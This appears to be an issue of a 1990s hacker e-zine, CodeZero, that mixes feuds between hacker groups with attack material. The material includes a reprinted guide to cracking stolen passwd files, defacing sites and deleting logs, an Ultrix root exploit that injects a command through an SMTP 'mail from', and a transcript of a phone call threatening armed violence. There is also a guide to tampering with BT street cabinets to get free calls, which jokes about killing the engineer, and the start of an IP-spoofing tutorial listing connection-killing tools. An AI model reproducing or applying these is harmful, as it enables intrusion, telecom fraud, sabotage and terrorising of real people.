Tetsu Khan. �� 2. sIn eXposed : CodeZero + Friends. �� If you cant be bothered to read all this shit, just go to... ---------------> www.sinnerz.com/bible.htm <--------------- ...And view the lameness for yourself :) ------------------------------------------------------------------------------- Concerning the news in issue 2 of the CodeZero technical journal, we found this response (http://www.sinnerz.com/codezero.txt) : So has anyone here heard of Codezero? Its some ezine type shit that i just wanted to expose as bullshit. I had never heard of it till i talked to darkfool and he showed me... You can check it out at neonunix.org/codezero. It is pretty good for a laugh. When me and Banshee and Messiah first read it we all were in #sin and the first thing to come to our mind was.. wtf is this? Some hacker gossip column or what? Even more funny was the surprise i got when i saw that the editor was Tetsu Khan (so1o who was mentioned earlier in the Bible)... that brought a smile to my face to see that. Anyways so i was reading thru issue 2 of codezero and i happend to see a lot of bogus information...stuff said that wasn't true. Same with the first issue. Examples our comments like "Infected has some new programs coming out soon including Utopia an encryption program by The Messiah." Anyways im doing the algorithm for that program with Messiah and it is not going to be out for a long time... Messiah has a lot of plans for the future all coming before Utopia does.... Those are the exact, untouched words of HosTi�e of SiN, hmmm, lets examine that passage more closely... "some ezine type shit that i just wanted to expose as bullshit..." "i was reading thru issue 2 of codezero and i happend to see a lot of bogus information...stuff said that wasn't true..." This is very interesting indeed, that they should care about a small news section in the journal isn't it? seeing that we published how many lines about them? a whole 20 I hear you say? hmm...doesn't the journal have exploits and other stuff in it to? I think it does... "Anyways im doing the algorithm for that program with Messiah and it is not going to be out for a long time... Messiah has a lot of plans for the future all coming before Utopia does...." So then HoSti�e, you can program now? thats new, and *YOU* are coding the algorithm? intersting... WAIT! you are saying that Utopia is true? and that we did publish correct information? I always thought so, seeing that the truth is that you probably wanted your beautiful new program to be a big surpise to the "scene"... Heh, how silly of me to actually think you had a clue! You just can't take it that you are stuck in a lame fuck group of wannabes and the truth is finally coming out...Let us examine more examples found on www.sinnerz.com : It also had some shit like "4 new hacks were reported this month" and they were right on the 4 new hacks part but they put bogus shit about them. The catch22 one they happend to put the html for it.. well they put the wrong shit that was on it. Becuz on the catch22 hack Darkfool had put the names of all the SIN members on the page. Which they decided to leave out... also They put some weird shit which they said was on the 2 hacks Darkfool did. Where it was the entersin.gif from our page that was there with a bunch of other links. Anyways there is also a lot of other shit that was bullshit in both of their issues... SHoCk HoRRoR !!!! Darkfool was responsible for the www.catch22.com hack ?? and SiN was linked to the hacks too?? That is interesting news HoSTi�e, seeing you just could have landed one of your SiN members in trouble, as CodeZero didn't mention any names concerning the catch22.com hack, and the very first index.html to go up, which was the one we published was infact very correct, its just that the index.html must have changed how many times that day? hmmm... "...wrong shit that was on it. Becuz on the catch22 hack Darkfool had put the names of all the SIN members on the page. Which they decided to leave out..." Strange...seeing another hacker, by the name of Sventa, was blamed entirely for the attacks. Oh yeah, one last thing, in the index.html that was apparently modified by Darkfool of SiN, there were 8 numbers, we know what they stand for, SiN doesn't, all will be explained one day, as SiN are cl00less and need a good kicking. Let us continue, with a "hacking guide" taken from www.sinnerz.com : -------------------------------------------------------------------- _________ ___ _______ \~=._ _.=~/ / _____/ | | \ \ \~=._ _.=~/ \ ~=__=~ / \_____ \ | | / | \ \ ~=__=~ / \_.=~ ~=._/ / \ | |/ | \ \_.=~ ~=._/ _.=~ \ / ~=._ /_______ / |___|\____|__ / .=~ \ / ~=. L------\------/------7 \/ \/ L------\------/------7 \ / \ / \ / http://www.sinnerz.com \ / \/ \/ OK, this is my mini guide to the easiest 'hacking' there is ( I think ) if any one knows different then mail me and tell me :) . Most FTP servers have the directory /pub which stores all the 'public' information for you to download. But along side /pub you will probably find other directorys such as /bin and /etc its the /etc directory which is important. In this directory there is normally a file called passwd. . This looks something like this :- root:7GHgfHgfhG:1127:20:Superuser jgibson:7fOsTXF2pA1W2:1128:20:Jim Gibson,,,,,,,:/usr/people/jgibson:/bin/csh tvr:EUyd5XAAtv2dA:1129:20:Tovar:/usr/people/tvr:/bin/csh mcn:t3e.QVzvUC1T.:1130:20:Greatbear,,,,,,,:/usr/people/mcn:/bin/csh mouse:EUyd5XAAtv2dA:1131:20:Melissa P.:/usr/people/mouse:/bin/csh This is where all the user names and passwords are kept. For example, root is the superuser and the rest are normal users on the site. The bit after the word root or mcn such as in this example (EUyd5XAAtv2dA) is the password BUT it is encrypted. So you use a password cracker....which you can d/l from numerous sites which I will give some URL's to at the end of this document. With these password crackers you will be asked to supply a passwd. file which you download from the \etc directory of the FTP server and a dictionary file which the crackers progam will go through and try to see if it can make any match. And as many people use simple passwords you can use a 'normal' dictionary file. But when ppl REALLY don't want you to break their machines they set their passwords to things such as GHTiCk45 which Random Word Generator will create (eventually ). Which is where programs such as Random Word Generator come in. ( Sorry just pluging my software ) BTW the bad news is that new sites NORMALLY have password files which look like this :- root:x:0:1:0000-Admin(0000):/:/sbin/sh The x signifies shadowed - you can't use a cracker to crack it because there's nothing there to crack, its hidden somewhere else that you can't get to. x is also represented as a * or sometimes a . Ones like the top example are known as un-shadowed password files normally found at places with .org domain or .net and prehaps even .edu sites. (Also cough .nasa.gov cough sites). If you want a normal dictionary file i recommend you go to http://www.globalkos.org and download kOS Krack which has a 3 MEG dictionary file. Then run a .passwd cracking program such as jack the ripper or hades or killer crack ( I recommend ) against the .passwd file and dictionary file. Depending upon the amount of passwords in the .passwd file, the size of the dictionary file and the speed of the processor it could be a lengthy process. Eventually once you have cracked a password you need a basic knowledge of unix. I have included the necassary commands to upload a different index.html file to a server :- Connect to a server through ftp prefably going through a few shells to hide your host and login using the hacked account at the Login: Password: part. Then once connected type dir or list If there's a directory called public_html@ or something similar change directory using the Simple dos cd command ( cd public_html ) Then type binary to set the mode to binary transfer ( so you can send images if necassary ) Then type put index.html or whatever the index file is called. It will then ask which transfer you wish to use, Z-Modem is the best. Select the file at your end you wish to upload and send it. Thats it ! If you have root delete any log files too. Please note that this process varys machine to machine. To change the password file for the account ( very mean ) login in through telnet and simply type passwd at the prompt and set the password for the account to anything you wish. Thats it....if ya don't understand it read it about 10x if ya still don't ask someone else i am too busy with errrr stuff.. Links :- http://www.sinnerz.com Where you got this I hope. Stay cool and be somebodys fool everyone Darkfool [email protected] http://www.sinnerz.com --- Ummm, *NEWS FLASH*, lets see shall we, this tells attackers to retrieve the passwd file using what?! FTP I hear you scream? well, lets see shall we children, gather 'round... "Most FTP servers have the directory /pub which stores all the 'public' information for you to download. But along side /pub you will probably find other directorys such as /bin and /etc its the /etc directory which is important. In this directory there is normally a file called passwd. . This looks something like this :-" Oh dear, oh dear, oh dear, lets look at the FACTS : Common FTP passwd path : /home/ftp/etc/passwd *REAL* passwd path : /etc/passwd Hmm, lets see, anyone with a clue would know that the FTP passwd file is not real, it is only there to mislead little wannabes, examples iclude members of SiN. We continue... "Eventually once you have cracked a password you need a basic knowledge of unix. I have included the necassary commands to upload a different index.html file to a server :- Connect to a server through ftp prefably going through a few shells to hide your host and login using the hacked account at the Login: Password: part. Then once connected type dir or list If there's a directory called public_html@ or something similar change directory using the Simple dos cd command ( cd public_html ) Then type binary to set the mode to binary transfer ( so you can send images if necassary ) Then type put index.html or whatever the index file is called. It will then ask which transfer you wish to use, Z-Modem is the best. Select the file at your end you wish to upload and send it. Thats it !" Okay, so now, SiN defines hacking as downloading the /home/ftp/etc/passwd which is a decoy, and then proceed to get kOS Krack (last time I checked www.globalkos.org was down) and then try to crack the passwd file and finally use FTP to upload an index.html? how imaginative and original, pity all of this info you have been fed is absolute crap, with a success rate of practically zero. One last thing... "If you have root delete any log files too." Umm, but you havent told all our wannabe hackers that read your shit where the log files are found, seeing that you have to find them, delete them, then touch them, oh yeah, I thought you were using FTP? strange... Im sure that from these examples we have fowarded to you we have started to prove the truth behind SiN, seeing they are actually quite lame wannabes with very minimal skills...this has been shown, and we will continue to add to this hall of shame for SiN, as until now, no-one has stood up to them, but now it is time for a change. Watch this space my friends, Until next time... T_K I wish I was in sIn, I dew I dew!

Ultrix Exploit : StatioN �� This bug has been fixed in OSF, but not in Ultrix. It should also work on any system that has the msgs mail alias. $ grep msgs /etc/aliases msgs: "|/usr/ucb/msgs -s" Ok, the first thing to do is look in the /usr/msgs directory (or whatever the directory is where the msgs files are kept), and see what the next msgs file will be (if there is 1 and 2, then the next one is pretty easy to figure out). Then, make an executable /tmp/a that like makes a suid shell (this is pretty easy to do, if you can't do it, don't consider yourself a hacker). By default, newsyslog executes every 6 days at 4 am, but it depends on the setup in crontab. What it does is age the syslog file (at /usr/adm/syslog.1, .2, ..., i think). symlink /usr/msgs/ -> /usr/adm/newsyslog $ telnet telnet> o localhost 25 mail shit, version, etc expn msgs 250 <"| /usr/ucb/msgs -s"> mail from: <`/tmp/a`> rcpt to: msgs data doesn't matter what you put here . quit So now, when it writes to /usr/msgs/, it will overwrite /usr/adm/newsyslog, and since /usr/adm/newsyslog is a shell script, it will expand `/tmp/a` by executing /tmp/a AS ROOT, giving you an suid shell or whatever /tmp/a does. From there, just clean up after yourself. StatioN �� 3.

Are you the manager and if so what is your name? manager: yes, i'm the manager, my names kathy. dk:ok kathy, look across the street do you see the apartment complex directly opposite you? manager: yes. dk: i have a man stationed in a car in that complex's parking lot. he has a high powerd assault rifle aimed at the individual behind the counter. i have another man stationed adjacent to the Wawa with a cellular phone. what's the individual's name behind the cash register? manager: her names Lori, please don't hurt anyone. dk: no ones going to get hurt as long as you shut the fuck up and do exactly as i say. instruct lori that she is to keep her hands on the counter at all times, with her palms laid out flat. shes only to move when she must make change for a customer, do not alert any customers in the store kathy. do you understand me? manager: yes i understand, hold on. (kathy then instructs lori) please promise you won't hurt anyone? please. dk: no ones getting hurt, now we got 30 seconds kathy from when i say go, when i say go you grab a plastic bag, fill it with all the money in the register furthest from the doorway and open the back door and leave all the money there, then shut and lock the door. manager: ok ok, do you want the foodstamps? dk: no! the foodstamps go in a seperate bag. sulfur: and get me a gatorade. manager: a gatorade? what kind? sulfur: if it's not a large im gonna open fire. manager: ok just please don't hurt anyone. dk: ok kathy, go! (theres a rustling of bags and some background noise) manager: ok, done, now what? dk: kathy have you made any attempt to contact any form of law enforcement? manager: no i promise. sulfur: she's lying. dk: kathy, do you know what a digital voice analyzer is? (dk is now completely talking out his ass) manager: no. dk: well we have one connected to a polygraph examiner and its telling us your lying kathy. manager: i swear to you im not lying! sulfur: shoot her dk: kathy your lying. manager: no no im not! dk: your lying kathy, mike, open fire open fire! z: open fire!! manager: LORI!!

How To Rewire Your House For Free Phone Calls : WildFire �� (-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-) How To Rewire You House For Free Fone Calls In The U.K (-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-) By WildFire of AWOL The aim is to teach you how to rewire your house to an engineer test line for free Fone calls, you dont need any little coloured boxes etc, all you need is a bit of patience and a lot of guts =) EQUIPMENT -: A B.T line into your house Socket wrench with 1/2 inch bit Offical looking enginner clothing (lumi jacket) C.B radios (Optional) STEP 1: We need to find out some information about the your line (Note : these numbers are not anything to do with your Fone number) what we need to know is how it runs back to B.T Eg. The pole outside your house is the first contact then it runs underground to A big green box, these are called DP's (Disconection/Connection points) Fig 1. House -----> Pole ------> Green box ------> B.T \/ \/ Prefix = 46 95 The way to find this out is by sabotaging your house's fone line to get an engininer to pay you a visit . With him he should bring a nice filo-fax with all his jobs in (all the places he's got to visit and their line info etc.) You now Have 3 options (i) KILL HIM!! and steal all his neat stuff * (ii) Act Intrested in his work and ask how he knows which line is yours say you want to do work experience in B.T etc/etc and he might show it to you and even explain it to you. (iii) Sabotage your line in such a way he's got to go up your pole , while he's trying to work out what the fuck you've done have a look at the filo-fax and write down all your info. * Not Recommended There are probally other ways to get your info ie. Bullshiting the B.T depot. or operators but they are not known my me , if anyone has any ideas i'd like to hear from them... STEP 2 : Decode When you have the filo-fax in your hands flick through it, near the end should be a page with your surname and telephone number.. below this should be the following .......... PCP E P DP PR 15 15 360 1922 4 What we are concerned with are the DP, PCP and P DP -- This is the pole, you can check this by going outside and looking at it . PCP/E -- This is the big green box have a look around your neighbourhood not to be confused with cable green boxes !!. P -- This is where your wire-pair are in the green box. The other letters are probally what contact your wire-pair is on the pole etc. Now You're Set To Go On An Adventure .. Wait until darkness falls , Put on your funky glow in the dark jackets, put the socket wrench in your pocket and take a visit to your local greener. Look around for nosey OAP's or other paranoid people. I actually had the shit kicked out of me by a large bloke who thought I was breaking into his house because I was looking very suspect walking around the streets stopping at the end of his road near the green box, ouch! On the front of the box there should be 2 diamond shaped things, pull out the wrench and undo them , the box should now open with ease.. You Should see loads of wires going all over the place. On the back of the left door there should be a white box (like you the one you plug your fone into back home) this is what the Enginerer uses for calls this is what we are going to swap with your house pair . How To Find Your Pair: There should be transparent plastic struts going from top to bottom, they have holes (where the wires come through) with very tiny numbers near them. The Struts are divided up into hundreds , So if your "P" was 360 you go along to the third strut and down until you find the tiny number 60 next to a hole. (see fig 1.18291739)In this hole should be some wire's, with luck they should be yours. Pull the wires out of the white-box and reconnect it to the wire pair going to your house. (the use of radios for checking might be a good idea) Fig 1.18291739 100-200 200-300 300-400 400-500 500-600 600-700 700-800 800-900 � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � �-360 � � � � � � � � � � � � � � � � � � � � � � � � � � � � � Go Home And See if You Have A Dial Tone . Congratulations.... Your house is now ready for free calls .. Dial 175 and get your new fone Number Your old line will be in limbo so you might as well stop paying line rental, so tell B.T to disconnect it. Notes for use: If You're Leaving the dodgy line permanent then make sure you hide the wires well.. If you are going to get your old line cut-off then make sure all your wiring is back as it was before. Don't tell Stupid People your number. Don't call Operators etc. When we used this method we only connected the dodgy line when we needed it, so I don't know what will happen if left on a permenent basis ???!"* The information in this file came from alot of Trial & Error so some facts may be incorrect..

T_K �� 2. Virus Definitions : so1o �� This is for all you lame fucks out there who say I infect your systems with viruses, even when the only malicious shit I code are Windoze killers, anyway here are a few definitions, just so you know what you're on about next time =) What are computer viruses (and why should I worry about them)? -------------------------------------------------------------- According to Fred Cohen's well-known definition, a COMPUTER VIRUS is a computer program that can infect other computer programs by modifying them in such a way as to include a (possibly evolved) copy of itself. Note that a program does not have to perform outright damage (such as deleting or corrupting files) in order to to be called a "virus". However, Cohen uses the terms within his definition (e.g. "program" and "modify") a bit differently from the way most anti-virus researchers use them, and classifies as viruses some things which most of us would not consider viruses. Many people use the term loosely to cover any sort of program that tries to hide its (malicious) function and tries to spread onto as many computers as possible. (See the definition of "Trojan".) Be aware that what constitutes a "program" for a virus to infect may include a lot more than is at first obvious - don't assume too much about what a virus can or can't do! These software "pranks" are very serious; they are spreading faster than they are being stopped, and even the least harmful of viruses could be fatal. For example, a virus that stops your computer and displays a message, in the context of a hospital life-support computer, could be fatal. Even those who created the viruses could not stop them if they wanted to; it requires a concerted effort from computer users to be "virus-aware", rather than the ignorance and ambivalence that have allowed them to grow to such a problem. What is a Trojan Horse? ----------------------- A TROJAN HORSE is a program that does something undocumented which the programmer intended, but that the user would not approve of if he knew about it. According to some people, a virus is a particular case of a Trojan Horse, namely one which is able to spread to other programs (i.e., it turns them into Trojans too). According to others, a virus that does not do any deliberate damage (other than merely replicating) is not a Trojan. Finally, despite the definitions, many people use the term "Trojan" to refer only to a *non-replicating* malicious program, so that the set of Trojans and the set of viruses are disjoint. What are the main types of PC viruses? -------------------------------------- Generally, there are two main classes of viruses. The first class consists of the FILE INFECTORS which attach themselves to ordinary program files. These usually infect arbitrary .COM and/or .EXE programs, though some can infect any program for which execution is requested, such as .SYS, .OVL, .PRG, & .MNU files. File infectors can be either DIRECT ACTION or RESIDENT. A direct- action virus selects one or more other programs to infect each time the program which contains it is executed. A resident virus hides itself somewhere in memory the first time an infected program is executed, and thereafter infects other programs when *they* are executed (as in the case of the Jerusalem) or when certain other conditions are fulfilled. The Vienna is an example of a direct-action virus. Most other viruses are resident. The second category is SYSTEM or BOOT-RECORD INFECTORS: those viruses which infect executable code found in certain system areas on a disk which are not ordinary files. On DOS systems, there are ordinary boot-sector viruses, which infect only the DOS boot sector, and MBR viruses which infect the Master Boot Record on fixed disks and the DOS boot sector on diskettes. Examples include Brain, Stoned, Empire, Azusa, and Michelangelo. Such viruses are always resident viruses. Finally, a few viruses are able to infect both (the Tequila virus is one example). These are often called "MULTI-PARTITE" viruses, though there has been criticism of this name; another name is "BOOT-AND-FILE" virus. FILE SYSTEM or CLUSTER viruses (e.g. Dir-II) are those which modify directory table entries so that the virus is loaded and executed before the desired program is. Note that the program itself is not physically altered, only the directory entry is. Some consider these infectors to be a third category of viruses, while others consider them to be a sub-category of the file infectors. What is a stealth virus? ------------------------ A STEALTH virus is one which hides the modifications it has made in the file or boot record, usually by monitoring the system functions used by programs to read files or physical blocks from storage media, and forging the results of such system functions so that programs which try to read these areas see the original uninfected form of the file instead of the actual infected form. Thus the viral modifications go undetected by anti-viral programs. However, in order to do this, the virus must be resident in memory when the anti-viral program is executed. Example: The very first DOS virus, Brain, a boot-sector infector, monitors physical disk I/O and re-directs any attempt to read a Brain-infected boot sector to the disk area where the original boot sector is stored. The next viruses to use this technique were the file infectors Number of the Beast and Frodo (= 4096 = 4K). Countermeasures: A "clean" system is needed so that no virus is present to distort the results. Thus the system should be built from a trusted, clean master copy before any virus-checking is attempted; this is "The Golden Rule of the Trade." With DOS, (1) boot from original DOS diskettes (i.e. DOS Startup/Program diskettes from a major vendor that have been write-protected since their creation); (2) use only tools from original diskettes until virus-checking has completed. What is a polymorphic virus? ---------------------------- A POLYMORPHIC virus is one which produces varied (yet fully operational) copies of itself, in the hope that virus scanners will not be able to detect all instances of the virus. One method to evade signature-driven virus scanners is self-encryption with a variable key; however these viruses (e.g. Cascade) are not termed "polymorphic," as their decryption code is always the same and thus can be used as a virus signature even by the simplest, signature- driven virus scanners (unless another virus or program uses the identical decryption routine). One method to make a polymorphic virus is to choose among a variety of different encryption schemes requiring different decryption routines: only one of these routines would be plainly visible in any instance of the virus (e.g. the Whale virus). A signature-driven virus scanner would have to exploit several signatures (one for each possible encryption method) to reliably identify a virus of this kind. A more sophisticated polymorphic virus (e.g. V2P6) will vary the sequence of instructions in its copies by interspersing it with "noise" instructions (e.g. a No Operation instruction, or an instruction to load a currently unused register with an arbitrary value), by interchanging mutually independent instructions, or even by using various instruction sequences with identical net effects (e.g. Subtract A from A, and Move 0 to A). A simple-minded, signature-based virus scanner would not be able to reliably identify this sort of virus; rather, a sophisticated "scanning engine" has to be constructed after thorough research into the particular virus. The most sophisticated form of polymorphism discovered so far is the MtE "Mutation Engine" written by the Bulgarian virus writer who calls himself the "Dark Avenger". It comes in the form of an object module. Any virus can be made polymorphic by adding certain calls to the assembler source code and linking to the mutation-engine and random-number-generator modules. The advent of polymorphic viruses has rendered virus-scanning an ever more difficult and expensive endeavor; adding more and more search strings to simple scanners will not adequately deal with these viruses. What is a companion virus? -------------------------- A COMPANION virus is one which, instead of modifying an existing file, creates a new program which (unknown to the user) gets executed by the command-line interpreter instead of the intended program. (On exit, the new program executes the original program so that things will appear normal.) The only way this has been done so far is by creating an infected .COM file with the same name as an existing .EXE file. Note that those integrity checkers which look only for *modifications* in *existing* files will fail to detect such viruses. (Note that not all researchers consider this type of malicious code to be a virus, since it does not modify existing files.) Miscellaneous Jargon and Abbreviations -------------------------------------- BSI = Boot Sector Infector: a virus which takes control when the computer attempts to boot (as opposed to a file infector). CMOS = Complementary Metal Oxide Semiconductor: A memory area that is used in AT and higher class PCs for storage of system information. CMOS is battery backed RAM (see below), originally used to maintain date and time information while the PC was turned off. CMOS memory is not in the normal CPU address space and cannot be executed. While a virus may place data in the CMOS or may corrupt it, a virus cannot hide there. DOS = Disk Operating System. We use the term "DOS" to mean any of the MS-DOS, PC-DOS, or DR DOS systems for PCs and compatibles, even though there are operating systems called "DOS" on other (unrelated) machines. MBR = Master Boot Record: the first Absolute sector (track 0, head 0, sector 1) on a PC hard disk, that usually contains the partition table (but on some PCs may simply contain a boot sector). This is not the same as the first DOS sector (Logical sector 0). RAM = Random Access Memory: the place programs are loaded into in order to execute; the significance for viruses is that, to be active, they must grab some of this for themselves. However, some virus scanners may declare that a virus is active simply when it is found in RAM, even though it might be simply left over in a buffer area of RAM rather than truly being active. TOM = Top Of Memory: the end of conventional memory, an architectural design limit at the 640K mark on most PCs. Some early PCs may not be fully populated, but the amount of memory is always a multiple of 64K. A boot-record virus on a PC typically resides just below this mark and changes the value which will be reported for the TOM to the location of the beginning of the virus so that it won't get overwritten. Checking this value for changes can help detect a virus, but there are also legitimate reasons why it may change. A very few PCs with unusual memory managers/settings may report in excess of 640K. TSR = Terminate but Stay Resident: these are PC programs that stay in memory while you continue to use the computer for other purposes; they include pop-up utilities, network software, and the great majority of viruses. These can often be seen using utilities such as MEM, MAPMEM, PMAP, F-MMAP and INFOPLUS. �� 3.

Hacking Space Shuttles, Abort Codes : NailGun �� Okay, if you ever decide to hack a space shuttle (*.arc.nasa.gov is hacked very frequently) and you actually plan it all out, make sure you collect all the parts of this "mini-guide" of little things that are important and you will need to know, this section concerns.... SPACE SHUTTLE ABORT MODES ------------------------- Space Shuttle launch abort philosophy aims toward safe and intact recovery of the flight crew, orbiter and its payload. Abort modes include: * Abort-To-Orbit (ATO) -- Partial loss of main engine thrust late enough to permit reaching a minimal 105-nautical mile orbit with orbital maneuvering system engines. * Abort-Once-Around (AOA) -- Earlier main engine shutdown with the capability to allow one orbit around before landing at Edwards Air Force Base, Calif.; White Sands Space Harbor (Northrup Strip), N.M.; or the Shuttle Landing Facility (SLF) at Kennedy Space Center, Fla.. * Trans-Atlantic Abort Landing (TAL) -- Loss of two main engines midway through powered flight would force a landing at Banjul, The Gambia; Ben Guerir, Morocco; or Moron, Spain. * Return-To-Launch-Site (RTLS) -- Early shutdown of one or more engines and without enough energy to reach Banjul would result in a pitch around and thrust back toward KSC until within gliding distance of the SLF. STS-35 contingency landing sites are Edwards AFB, White Sands, Kennedy Space Center, Banjul and Ben Guerir, Moron. Next time we will probably look at the payloads of space shuttles, l8r. �� 5.

CoreWars : so1o / od|phreak �� od|phreak was telling me about an idea he had, then called just "Hacker Wars" it was about teams, or groups of hackers who had a league system and hacked each others systems to gain points... We both made sets of rules and decided on a name also, CoreWars...Here are the rules as to date : - 6 hackers per team. - Each team has 2 systems. - The systems must run linux, and be up 24/7. - The game is played from a friday at midnight to a sunday at midnight (48 hours). - On systems owned by the team, each user may have one account, with any systems priveleges. - Each team has 1 account on each enemy system - 2.5mb quota per account - must be a normal user Rules : ------- - super users on opposing teams are NOT allowed to intervine with other hackers, this includes killing, writing to their terminals, or disturbing them in any way shape or form, however, super users are allowed to use snoop and other programs to monitor opposing team members, but they cannot DIRECTLY step in and kill the user. super users CANNOT delete files created by the opposing team members, however they ARE allowed to delete files if they have been MODIFIED, like /etc/motd. - teams conquer a system by forcing it to be shut down, switched off, or any other measure that prevents persons from connecting or using that system. This can include rm'ng the hard drive or any other suitable measure. The Winning Team Is The Last Team With A System That Has Not Been Shut Down. if you shut a system down : 100 points if your system gets shut down : -50 points if you keep both of your systems up : 25 points if you lose both of your systems : -25 points On Sunday midnight, all points are worked out, and the league positions are calculated. These Rules Are Currently Being Changed : http://www.neonunix.org/corewars/ Suggestions to myself or od|phreak... So, if you have a team of 6 that you would like to enter in CoreWars, mail corewars@ with your team name, details, system IP and other relevant information... �� 2. Technophoria Want A Piece Of CodeZero Too? : so1o �� Technophoria, based at www.technophoria.com, did *NOT* hack our webpage at www.neonunix.org/codezero/ as i dont even have a l/p to neonunix.org, anyway, they uploaded this shiznit to the page, obviously with neonunix's account, which is the only one on the system... Dont talk shit about Technophoria

-Particle Man

Hmmm, who the fuck is Particle Man?! last time I checked the Technophoria member list it had... Deprave BroncBuster Sludge Acid Angel Modify The Messiah Banshee Now, I dont get on well with Modify or The Messiah (who are in like, 3 other groups each) but Deprave is a good friend, Sludge and Acid I have never met and Bronc is cool. I dont know whats goin down wit that shit, but the last thing I need is some punk trying to say that I write shit about Technophoria, seeing I have never written a thing about them, but anyway, if you do visit the Technophoria WWW site, you will see that sIn and Technophoria are working on the same project with the same people, Utopia (mentioned in the last issue by *OD�PHREAK*) I wonder who will take the credit and / or release the actual program, hmm..I talked to The Messiah... Utopia will be a encryption utility, release by SIN/Technophoria, written by The Messiah and Fucking Hostile. No release date is given. encryption util? for what purposes? Encrypting files, clipboard, and an editor, like Puffer. thru windoze? Yes. ahh 16 bit. With plans for a 32 bit version. because doesnt pgp do that and alot more? No, it doesn't. what kind of encryption are we talking about? PGP only uses ONE algorithm, IDEA. About 16 different algorithms. and yours will use? RC4, RC5, IDEA, Blowfish, DES, SuperIDEA... I'm still looking into that... isnt that just ripping other peoples shit? blatently No. If so then PGP is ripping. Puffer is ripping. The source for almost all algorihtms is released. So ppl can evaluate it.. what about RC5 source then? Have it. okay... so you have all your algorithms RSA condones non-commercial use of RC4 and RC5. Pretty much. but how will the program work then? Right now I'm wondering which algorihtms to put into it. will it have secret keys and public keys like pgp ? You select an algorihtm, files, and hit encrypt... No, symetric key encryption. One password... isnt that a bit unsecure? I'm making a public key encryption program later on... No, it isn't. seeing then the password will have to be given to the other user over a medium such as IRC You can't transmit keys, true... which can be logged But this isn't for communication as much as file storgae... People can use PGP to transmit keys... so what will the program include? Hmmm... what won't it? I'm hoping to include some steganography in it... It'll be something like Puffer, only WAY better... okzy 1st release will be 16-bit right? Yes... will it have any problems running thru 95 / NT ? Nope. I'm using Win95... will users need .dll files to run it? One. But that'll come included... No VB bullshit... It's made in Delphi, so the runtime library is in the EXE... delphi i code borland c++ Get C++ Builder then... i plan on doing so Like Delphi, but uses C++... okie, l8r cya �� 3. Global kOS News And Questions / Answers : Spidey �� There have been several rumors circulating about what happened to us since globalkos.org went down. They range from us being busted by feds to stories about purple shrouds and phenobarbital. There have also been rumors about dissention among our ranks and group infighting. Q: What happened to globalkos.org? Did the feds shut it down? Did their ISP shut it down? Did they move their site to keep it hidden? A: Half of us didn't feel like paying for it. We weren't shut down, nor is the site hidden out there somewhere. We're looking into alternatives. Q: Did Acid Angel leave GkOS for Technophoria? A: No. He is working with the guys at Technophoria, but he is still a part of Global kOS. Q: Did Silicon Toad leave the group altogether? A: Somebody came up with this one on the basis of a broken link at globalkos.org. ST moved his site, and no one bothered to update the link. Through some stretch of logic this guy decided it meant ST split. Q: What about Up Yours 4? A: It's slated for release on March 30th. Q: Did GkOS get busted? A: No. Q: I thought Cobra (Vortex, Morbid Disorder, Kludge, or Ryan) was a member of GkOS. A: I've never even heard of these people. They are not present, nor former members. Our members are: Acid Angel Glitch Materva Raven Shadow Hunter Silicon Toad Spidey That Guy Zaven Q: I heard there was a major disagreement within the group, and there's a civil war going on between them. Is it true? A: No. This is completely unfounded. Whoever started this one pulled it straight out of his ass. �� 4. www.ncaa.com Hack Makes News : so1o �� Conflict member TiK hacked www.ncaa.com, he made TV news, papers, and big internet news, statements from the NCAA and other organisations can be found on www.infowar.com, so1o never believed TiK would or could hack such a site due to the high security levels, but good 'ole TiK proved us all wrong, expect the index.html s00n! �� 5.

The source code �� PART I: Simple spoofing (Non blind) �� 0. Introduction --------------- 0.1 What -------- This document describes some IP spoofing attacks and gives you example source code of the programs used for these attacks (and packet sniffer logs, so you see what exactly happens). It also provides you with an easy to use include file for experimenting a little yourself. Oh, if you make something nice with the "spoofit.h" file, please mail it to me (or a reference where it is available) with a little explanation on what it is (a few lines are enough)... If you have interesting remarks, comment, idea's, ... please contact me [email protected] If YOU think of yourself, you are "3>/dev/null or >/dev/echo depends on how smart you are. It is not wise to use what you don't know/understand, so read this before trying anything... it will only take a few minutes, and probably save you some hours of failure... This code is not crippled in the usual way (removing some vital parts), the power is limited by it's briefness, because I wanted to keep everything simple and illustrative (but working). It's a simple job to improve it, and that is the goal of this doc, that you improve it yourself. Special thx to |ExcEEd| and theJUdgE also to all those ppl who deserve it. 0.2 For whom ------------ For people with an elementary knowledge of TCP/IP, some knowledge on C (only the basic setup) and some general UNIX knowledge. It's no use reading this document if you are completely unaware of these things, but mind you, only a little knowledge is enough. 0.3 Disclaimer -------------- I am in no way responsible for the use of this code. By using this software and reading this document you accept the fact that any damage (emotional, physical, dataloss and the end of the world as we know it ...) caused by the use or storage of these programs/documents is not MY responsability. I state that during the writing and testing of this document/source, I never violated any law. All spoofing was done between machines where I had legit root access, or where I had the permission from the legit root. This code can be written by any competent programmer, so this source is not so harmfull as some will say (cauz' I'm sure some people won't like this degree of disclosure). 0.4 Licence ----------- All source code and text is freely available. You can spread it, as long as you don't charge for it (exceptions are a small reproduction fee, if it isn't spread together with commercial software, texts.) You may not spread parts of the document, it should be spread as one package. You may not modify the text and/or source code. You can use the spoofit.h or derived code in your own programs as long as they are not commercial (i.e. FREE), and you give me the credits for it. 1. Short explanation of some words ---------------------------------- This is a short explanation of some words you might see in the text/source. You probably know all this, but I put it in here anyway. Sniffit My favourite Packet Sniffer, all sniffed sequences in this (At time of writing a pre-release 0.3.2) IP-spoofing (further referenced to as spoofing) The forging of IP packets NOTE that not only IP based protocols are spoofed. NOTE that spoofing is also used on a constructive base (LAN spoofing, not discussed here). NOTE that I don't use it on a constructive base ;) Non-blind spoofing Using the spoofing to interfer with a connection that sends packets along your subnet (so generally one of the 2 hosts involved is located on your subnet, or all data traffic has to be passing your network device,... you might consider taking a job at some transatlantic route provider). Blind spoofing Using the spoofing to interfer with a connection (or creating one), that does not send packets along your cable. 2. Description of sourcecode ---------------------------- 2.1 Source included ------------------- spoofit.h The include file that provides some easy to use spoofing functions. To understand the include file and it's functions, read the header of that file for use of the C functions. *.c Example programs (on the use of spoofit.h) that are discussed in this document. Details on these programs are included in the appropriate sections. sniper-rst.c Basic TCP connection killer. (denial-of-services) sniper-fin.c Basic TCP connection killer. 